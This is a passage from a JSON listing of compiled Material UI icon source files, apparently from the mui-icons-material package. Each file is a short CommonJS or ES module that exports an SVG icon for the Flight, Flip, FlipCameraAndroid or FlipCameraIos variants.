    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m10 19-2 1.5V22l3.5-1 3.5 1v-1.5L13 19v-5.5l8 2.5v-2l-8-5V3.5c0-.83-.67-1.5-1.5-1.5S10 2.67 10 3.5V9l-8 5v2l8-2.5z\"\n}), 'FlightTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlightTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m10 19-2 1.5V22l3.5-1 3.5 1v-1.5L13 19v-5.5l8 2.5v-2l-8-5V3.5c0-.83-.67-1.5-1.5-1.5S10 2.67 10 3.5V9l-8 5v2l8-2.5z\"\n}), 'FlightTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Flip.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 21h2v-2h-2zm4-12h2V7h-2zM3 5v14c0 1.1.9 2 2 2h4v-2H5V5h4V3H5c-1.1 0-2 .9-2 2m16-2v2h2c0-1.1-.9-2-2-2m-8 20h2V1h-2zm8-6h2v-2h-2zM15 5h2V3h-2zm4 8h2v-2h-2zm0 8c1.1 0 2-.9 2-2h-2z\"\n}), 'Flip');"
  },
  {
    "path": "packages/mui-icons-material/lib/Flip.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 21h2v-2h-2zm4-12h2V7h-2zM3 5v14c0 1.1.9 2 2 2h4v-2H5V5h4V3H5c-1.1 0-2 .9-2 2m16-2v2h2c0-1.1-.9-2-2-2m-8 20h2V1h-2zm8-6h2v-2h-2zM15 5h2V3h-2zm4 8h2v-2h-2zm0 8c1.1 0 2-.9 2-2h-2z\"\n}), 'Flip');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlipCameraAndroid.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 12c0 1.66 1.34 3 3 3s3-1.34 3-3-1.34-3-3-3-3 1.34-3 3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 10V8H5.09C6.47 5.61 9.05 4 12 4c3.72 0 6.85 2.56 7.74 6h2.06c-.93-4.56-4.96-8-9.8-8-3.27 0-6.18 1.58-8 4.01V4H2v6zm8 4v2h2.91c-1.38 2.39-3.96 4-6.91 4-3.72 0-6.85-2.56-7.74-6H2.2c.93 4.56 4.96 8 9.8 8 3.27 0 6.18-1.58 8-4.01V20h2v-6z\"\n}, \"1\")], 'FlipCameraAndroid');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlipCameraAndroid.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 12c0 1.66 1.34 3 3 3s3-1.34 3-3-1.34-3-3-3-3 1.34-3 3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 10V8H5.09C6.47 5.61 9.05 4 12 4c3.72 0 6.85 2.56 7.74 6h2.06c-.93-4.56-4.96-8-9.8-8-3.27 0-6.18 1.58-8 4.01V4H2v6zm8 4v2h2.91c-1.38 2.39-3.96 4-6.91 4-3.72 0-6.85-2.56-7.74-6H2.2c.93 4.56 4.96 8 9.8 8 3.27 0 6.18-1.58 8-4.01V20h2v-6z\"\n}, \"1\")], 'FlipCameraAndroid');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlipCameraAndroidOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 12c0 1.66 1.34 3 3 3s3-1.34 3-3-1.34-3-3-3-3 1.34-3 3m4 0c0 .55-.45 1-1 1s-1-.45-1-1 .45-1 1-1 1 .45 1 1\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 10V8H5.09C6.47 5.61 9.05 4 12 4c3.72 0 6.85 2.56 7.74 6h2.06c-.93-4.56-4.96-8-9.8-8-3.27 0-6.18 1.58-8 4.01V4H2v6zm8 4v2h2.91c-1.38 2.39-3.96 4-6.91 4-3.72 0-6.85-2.56-7.74-6H2.2c.93 4.56 4.96 8 9.8 8 3.27 0 6.18-1.58 8-4.01V20h2v-6z\"\n}, \"1\")], 'FlipCameraAndroidOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlipCameraAndroidOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 12c0 1.66 1.34 3 3 3s3-1.34 3-3-1.34-3-3-3-3 1.34-3 3m4 0c0 .55-.45 1-1 1s-1-.45-1-1 .45-1 1-1 1 .45 1 1\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 10V8H5.09C6.47 5.61 9.05 4 12 4c3.72 0 6.85 2.56 7.74 6h2.06c-.93-4.56-4.96-8-9.8-8-3.27 0-6.18 1.58-8 4.01V4H2v6zm8 4v2h2.91c-1.38 2.39-3.96 4-6.91 4-3.72 0-6.85-2.56-7.74-6H2.2c.93 4.56 4.96 8 9.8 8 3.27 0 6.18-1.58 8-4.01V20h2v-6z\"\n}, \"1\")], 'FlipCameraAndroidOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlipCameraAndroidRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 12c0 1.66 1.34 3 3 3s3-1.34 3-3-1.34-3-3-3-3 1.34-3 3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 9c0-.55-.45-1-1-1H5.09C6.47 5.61 9.05 4 12 4c3.49 0 6.45 2.24 7.54 5.36.14.39.53.64.94.64.68 0 1.18-.67.96-1.31C20.07 4.79 16.36 2 12 2 8.73 2 5.82 3.58 4 6.01V5c0-.55-.45-1-1-1s-1 .45-1 1v4c0 .55.45 1 1 1h4c.55 0 1-.45 1-1m8 6c0 .55.45 1 1 1h1.91c-1.38 2.39-3.96 4-6.91 4-3.49 0-6.45-2.24-7.54-5.36-.14-.39-.53-.64-.94-.64-.68 0-1.18.67-.96 1.31C3.93 19.21 7.64 22 12 22c3.27 0 6.18-1.58 8-4.01V19c0 .55.45 1 1 1s1-.45 1-1v-4c0-.55-.45-1-1-1h-4c-.55 0-1 .45-1 1\"\n}, \"1\")], 'FlipCameraAndroidRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlipCameraAndroidRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 12c0 1.66 1.34 3 3 3s3-1.34 3-3-1.34-3-3-3-3 1.34-3 3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 9c0-.55-.45-1-1-1H5.09C6.47 5.61 9.05 4 12 4c3.49 0 6.45 2.24 7.54 5.36.14.39.53.64.94.64.68 0 1.18-.67.96-1.31C20.07 4.79 16.36 2 12 2 8.73 2 5.82 3.58 4 6.01V5c0-.55-.45-1-1-1s-1 .45-1 1v4c0 .55.45 1 1 1h4c.55 0 1-.45 1-1m8 6c0 .55.45 1 1 1h1.91c-1.38 2.39-3.96 4-6.91 4-3.49 0-6.45-2.24-7.54-5.36-.14-.39-.53-.64-.94-.64-.68 0-1.18.67-.96 1.31C3.93 19.21 7.64 22 12 22c3.27 0 6.18-1.58 8-4.01V19c0 .55.45 1 1 1s1-.45 1-1v-4c0-.55-.45-1-1-1h-4c-.55 0-1 .45-1 1\"\n}, \"1\")], 'FlipCameraAndroidRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlipCameraAndroidSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 12c0 1.66 1.34 3 3 3s3-1.34 3-3-1.34-3-3-3-3 1.34-3 3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 10V8H5.09C6.47 5.61 9.05 4 12 4c3.72 0 6.85 2.56 7.74 6h2.06c-.93-4.56-4.96-8-9.8-8-3.27 0-6.18 1.58-8 4.01V4H2v6zm8 4v2h2.91c-1.38 2.39-3.96 4-6.91 4-3.72 0-6.85-2.56-7.74-6H2.2c.93 4.56 4.96 8 9.8 8 3.27 0 6.18-1.58 8-4.01V20h2v-6z\"\n}, \"1\")], 'FlipCameraAndroidSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlipCameraAndroidSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 12c0 1.66 1.34 3 3 3s3-1.34 3-3-1.34-3-3-3-3 1.34-3 3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 10V8H5.09C6.47 5.61 9.05 4 12 4c3.72 0 6.85 2.56 7.74 6h2.06c-.93-4.56-4.96-8-9.8-8-3.27 0-6.18 1.58-8 4.01V4H2v6zm8 4v2h2.91c-1.38 2.39-3.96 4-6.91 4-3.72 0-6.85-2.56-7.74-6H2.2c.93 4.56 4.96 8 9.8 8 3.27 0 6.18-1.58 8-4.01V20h2v-6z\"\n}, \"1\")], 'FlipCameraAndroidSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlipCameraAndroidTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"12\",\n  r: \"1\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 12c0 1.66 1.34 3 3 3s3-1.34 3-3-1.34-3-3-3-3 1.34-3 3m4 0c0 .55-.45 1-1 1s-1-.45-1-1 .45-1 1-1 1 .45 1 1\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 8H5.09C6.47 5.61 9.05 4 12 4c3.72 0 6.85 2.56 7.74 6h2.06c-.93-4.56-4.96-8-9.8-8-3.27 0-6.18 1.58-8 4.01V4H2v6h6zm8 6v2h2.91c-1.38 2.39-3.96 4-6.91 4-3.72 0-6.85-2.56-7.74-6H2.2c.93 4.56 4.96 8 9.8 8 3.27 0 6.18-1.58 8-4.01V20h2v-6z\"\n}, \"2\")], 'FlipCameraAndroidTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlipCameraAndroidTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"12\",\n  r: \"1\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 12c0 1.66 1.34 3 3 3s3-1.34 3-3-1.34-3-3-3-3 1.34-3 3m4 0c0 .55-.45 1-1 1s-1-.45-1-1 .45-1 1-1 1 .45 1 1\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 8H5.09C6.47 5.61 9.05 4 12 4c3.72 0 6.85 2.56 7.74 6h2.06c-.93-4.56-4.96-8-9.8-8-3.27 0-6.18 1.58-8 4.01V4H2v6h6zm8 6v2h2.91c-1.38 2.39-3.96 4-6.91 4-3.72 0-6.85-2.56-7.74-6H2.2c.93 4.56 4.96 8 9.8 8 3.27 0 6.18-1.58 8-4.01V20h2v-6z\"\n}, \"2\")], 'FlipCameraAndroidTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlipCameraIos.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 5h-3.17L15 3H9L7.17 5H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2m-8 13c-2.76 0-5-2.24-5-5H5l2.5-2.5L10 13H8c0 2.21 1.79 4 4 4 .58 0 1.13-.13 1.62-.35l.74.74c-.71.37-1.5.61-2.36.61m4.5-2.5L14 13h2c0-2.21-1.79-4-4-4-.58 0-1.13.13-1.62.35l-.74-.73C10.35 8.24 11.14 8 12 8c2.76 0 5 2.24 5 5h2z\"\n}), 'FlipCameraIos');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlipCameraIos.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 5h-3.17L15 3H9L7.17 5H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2m-8 13c-2.76 0-5-2.24-5-5H5l2.5-2.5L10 13H8c0 2.21 1.79 4 4 4 .58 0 1.13-.13 1.62-.35l.74.74c-.71.37-1.5.61-2.36.61m4.5-2.5L14 13h2c0-2.21-1.79-4-4-4-.58 0-1.13.13-1.62.35l-.74-.73C10.35 8.24 11.14 8 12 8c2.76 0 5 2.24 5 5h2z\"\n}), 'FlipCameraIos');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlipCameraIosOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 5h-3.17L15 3H9L7.17 5H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2m0 14H4V7h4.05l.59-.65L9.88 5h4.24l1.24 1.35.59.65H20z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 17c-2.21 0-4-1.79-4-4h2l-2.5-2.5L5 13h2c0 2.76 2.24 5 5 5 .86 0 1.65-.24 2.36-.62l-.74-.74c-.49.23-1.04.36-1.62.36m0-9c-.86 0-1.65.24-2.36.62l.74.73C10.87 9.13 11.42 9 12 9c2.21 0 4 1.79 4 4h-2l2.5 2.5L19 13h-2c0-2.76-2.24-5-5-5\"\n}, \"1\")], 'FlipCameraIosOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlipCameraIosOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 5h-3.17L15 3H9L7.17 5H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2m0 14H4V7h4.05l.59-.65L9.88 5h4.24l1.24 1.35.59.65H20z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 17c-2.21 0-4-1.79-4-4h2l-2.5-2.5L5 13h2c0 2.76 2.24 5 5 5 .86 0 1.65-.24 2.36-.62l-.74-.74c-.49.23-1.04.36-1.62.36m0-9c-.86 0-1.65.24-2.36.62l.74.73C10.87 9.13 11.42 9 12 9c2.21 0 4 1.79 4 4h-2l2.5 2.5L19 13h-2c0-2.76-2.24-5-5-5\"\n}, \"1\")], 'FlipCameraIosOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlipCameraIosRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 5h-3.17l-1.24-1.35c-.37-.41-.91-.65-1.47-.65H9.88c-.56 0-1.1.24-1.48.65L7.17 5H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2m-6.33 12.7c-.52.19-1.08.3-1.67.3-2.76 0-5-2.24-5-5H5l2.5-2.5L10 13H8c0 2.21 1.79 4 4 4 .46 0 .91-.08 1.32-.23.19-.07.39-.03.53.11.26.26.16.69-.18.82m2.83-2.2L14 13h2c0-2.21-1.79-4-4-4-.46 0-.91.08-1.32.23-.19.07-.39.03-.53-.11-.26-.26-.16-.69.18-.82.52-.19 1.08-.3 1.67-.3 2.76 0 5 2.24 5 5h2z\"\n}), 'FlipCameraIosRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlipCameraIosRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 5h-3.17l-1.24-1.35c-.37-.41-.91-.65-1.47-.65H9.88c-.56 0-1.1.24-1.48.65L7.17 5H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2m-6.33 12.7c-.52.19-1.08.3-1.67.3-2.76 0-5-2.24-5-5H5l2.5-2.5L10 13H8c0 2.21 1.79 4 4 4 .46 0 .91-.08 1.32-.23.19-.07.39-.03.53.11.26.26.16.69-.18.82m2.83-2.2L14 13h2c0-2.21-1.79-4-4-4-.46 0-.91.08-1.32.23-.19.07-.39.03-.53-.11-.26-.26-.16-.69.18-.82.52-.19 1.08-.3 1.67-.3 2.76 0 5 2.24 5 5h2z\"\n}), 'FlipCameraIosRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlipCameraIosSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.83 5 15 3H9L7.17 5H2v16h20V5zM12 18c-2.76 0-5-2.24-5-5H5l2.5-2.5L10 13H8c0 2.21 1.79 4 4 4 .58 0 1.13-.13 1.62-.35l.74.74c-.71.37-1.5.61-2.36.61m4.5-2.5L14 13h2c0-2.21-1.79-4-4-4-.58 0-1.13.13-1.62.35l-.74-.73C10.35 8.24 11.14 8 12 8c2.76 0 5 2.24 5 5h2z\"\n}), 'FlipCameraIosSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlipCameraIosSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.83 5 15 3H9L7.17 5H2v16h20V5zM12 18c-2.76 0-5-2.24-5-5H5l2.5-2.5L10 13H8c0 2.21 1.79 4 4 4 .58 0 1.13-.13 1.62-.35l.74.74c-.71.37-1.5.61-2.36.61m4.5-2.5L14 13h2c0-2.21-1.79-4-4-4-.58 0-1.13.13-1.62.35l-.74-.73C10.35 8.24 11.14 8 12 8c2.76 0 5 2.24 5 5h2z\"\n}), 'FlipCameraIosSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlipCameraIosTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.12 5H9.88L8.05 7H4v12h16V7h-4.05zM12 18c-2.76 0-5-2.24-5-5H5l2.49-2.49.01-.01L10 13H8c0 2.21 1.79 4 4 4 .58 0 1.13-.13 1.62-.35l.74.74c-.71.37-1.5.61-2.36.61m7-5-2.49 2.49-.01.01L14 13h2c0-2.21-1.79-4-4-4-.58 0-1.13.13-1.62.35l-.74-.73C10.35 8.24 11.14 8 12 8c2.76 0 5 2.24 5 5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 5h-3.17L15 3H9L7.17 5H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2m0 14H4V7h4.05l1.83-2h4.24l1.83 2H20z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 17c-2.21 0-4-1.79-4-4h2l-2.5-2.5-.01.01L5 13h2c0 2.76 2.24 5 5 5 .86 0 1.65-.24 2.36-.62l-.74-.74c-.49.23-1.04.36-1.62.36m0-9c-.86 0-1.65.24-2.36.62l.74.73C10.87 9.13 11.42 9 12 9c2.21 0 4 1.79 4 4h-2l2.5 2.5.01-.01L19 13h-2c0-2.76-2.24-5-5-5\"\n}, \"2\")], 'FlipCameraIosTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlipCameraIosTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.12 5H9.88L8.05 7H4v12h16V7h-4.05zM12 18c-2.76 0-5-2.24-5-5H5l2.49-2.49.01-.01L10 13H8c0 2.21 1.79 4 4 4 .58 0 1.13-.13 1.62-.35l.74.74c-.71.37-1.5.61-2.36.61m7-5-2.49 2.49-.01.01L14 13h2c0-2.21-1.79-4-4-4-.58 0-1.13.13-1.62.35l-.74-.73C10.35 8.24 11.14 8 12 8c2.76 0 5 2.24 5 5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 5h-3.17L15 3H9L7.17 5H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2m0 14H4V7h4.05l1.83-2h4.24l1.83 2H20z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 17c-2.21 0-4-1.79-4-4h2l-2.5-2.5-.01.01L5 13h2c0 2.76 2.24 5 5 5 .86 0 1.65-.24 2.36-.62l-.74-.74c-.49.23-1.04.36-1.62.36m0-9c-.86 0-1.65.24-2.36.62l.74.73C10.87 9.13 11.42 9 12 9c2.21 0 4 1.79 4 4h-2l2.5 2.5.01-.01L19 13h-2c0-2.76-2.24-5-5-5\"\n}, \"2\")], 'FlipCameraIosTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlipOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 21h2v-2h-2zm4-12h2V7h-2zM3 5v14c0 1.1.9 2 2 2h4v-2H5V5h4V3H5c-1.1 0-2 .9-2 2m16-2v2h2c0-1.1-.9-2-2-2m-8 20h2V1h-2zm8-6h2v-2h-2zM15 5h2V3h-2zm4 8h2v-2h-2zm0 8c1.1 0 2-.9 2-2h-2z\"\n}), 'FlipOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlipOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 21h2v-2h-2zm4-12h2V7h-2zM3 5v14c0 1.1.9 2 2 2h4v-2H5V5h4V3H5c-1.1 0-2 .9-2 2m16-2v2h2c0-1.1-.9-2-2-2m-8 20h2V1h-2zm8-6h2v-2h-2zM15 5h2V3h-2zm4 8h2v-2h-2zm0 8c1.1 0 2-.9 2-2h-2z\"\n}), 'FlipOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlipRounded.js",
